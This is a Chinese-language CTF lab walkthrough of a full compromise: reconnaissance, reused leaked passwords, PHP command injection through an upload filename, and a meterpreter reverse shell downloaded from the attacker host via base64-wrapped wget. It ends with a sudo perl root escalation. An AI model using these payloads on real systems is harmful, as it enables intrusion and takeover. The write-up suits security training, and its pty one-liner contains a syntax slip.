1. 程式人生 > 其它 >【CTF】命令注入實戰

【CTF】命令注入實戰

kali:192.168.223.131
target:192.168.223.175

通過arp-scan -l獲取目標IP為192.168.223.175,nmap掃描一下,開放80埠,

nmap -p- -A 192.168.223.175

nikto掃描一下,發現robots.txt,在裡面依次翻找敏感檔案

nikto -h 192.168.223.175

在nothing的頁面原始碼中查到一些密碼:freedom、password、helloworld!、diana、iloveroot

同時在掃描中找到secure的目錄,開啟找到backup.zip

預覽zip檔案是個MP3格式的檔案,但是需要密碼,嘗試把nothing中的密碼輸入,得到正確密碼為freedom

將mp3檔案解壓出來後檢視一下檔案型別,發現是ascii的txt檔案

file backup-cred.mp3
cat backup-cred.mp3

得到使用者名稱是touhid,獲得一個url為/SecreTSMSgatwayLogin,訪問發現是個登陸介面,將賬號和密碼依次試一下,發現正確賬號密碼為touhid和diana

在send from file中有檔案上傳點,只能上傳csv格式的檔案,上傳後發現會將上傳的內容輸出

在下一次的抓包中修改檔名

<?php system('uname -a');die();?>.php

發現輸出資訊是Linux系統,說明存在命令執行的漏洞,通過msf生成Linux木馬

msfvenom -p linux/x86/meterpreter/reverse_tcp lhost=192.168.223.131 lport=4444 -f elf > shell

開啟msf進行監聽

msfconsole
use exploit/multi/handler
set payload linux/x86/meterpreter/reverse_tcp
set lhost 192.168.223.131
exploit

開啟http服務

python -m SimpleHTTPServer 8000

將木馬下載的指令進行base64編碼,將下載下來的檔案放在/tmp下取名為shell同時base64加密

echo 'wget http://192.168.223.131:8000/shell -O /tmp/shell' | base64
//d2dldCBodHRwOi8vMTkyLjE2OC4yMjMuMTMxOjgwMDAvc2hlbGwgLU8gL3RtcC9zaGVsbAo=
echo 'chmod 777 /tmp/shell' | base64
//Y2htb2QgNzc3IC90bXAvc2hlbGwK
echo '/tmp/shell' | base64
//L3RtcC9zaGVsbAo=

在資料包中修改檔名

<?php shell_exec(base64_decode('d2dldCBodHRwOi8vMTkyLjE2OC4yMjMuMTMxOjgwMDAvc2hlbGwgLU8gL3RtcC9zaGVsbAo='));die();?>.php
<?php shell_exec(base64_decode('Y2htb2QgNzc3IC90bXAvc2hlbGwK'));die();?>.php
<?php shell_exec(base64_decode('L3RtcC9zaGVsbAo='));die();?>.php 

修改檔名最好是抓一次改一次放一次,repeater模組無法連續重放

此時木馬上線,shell確實可以,通過 sudo -l 發現NOPASSWORD:/usr/bin/perl,美化介面後直接提權,進入root目錄拿到flag

python -c 'import pty:pty.spawn("/bin/bash")'
//通過perl免密碼獲取許可權
sudo -l
sudo perl -e "exec '/bin/sh'"

總結

  1. 每次提交檔案,都會出現檔名,如果輸入一個 .php 的檔案每次都會執行
  2. 對於上傳到/tmp目錄下,因為對網站目錄並不熟悉,但是每個Linux系統都有tmp檔案,/tmp目錄可讀可寫可執行
  3. 允許Linux木馬每次輸入一下檔名就可以執行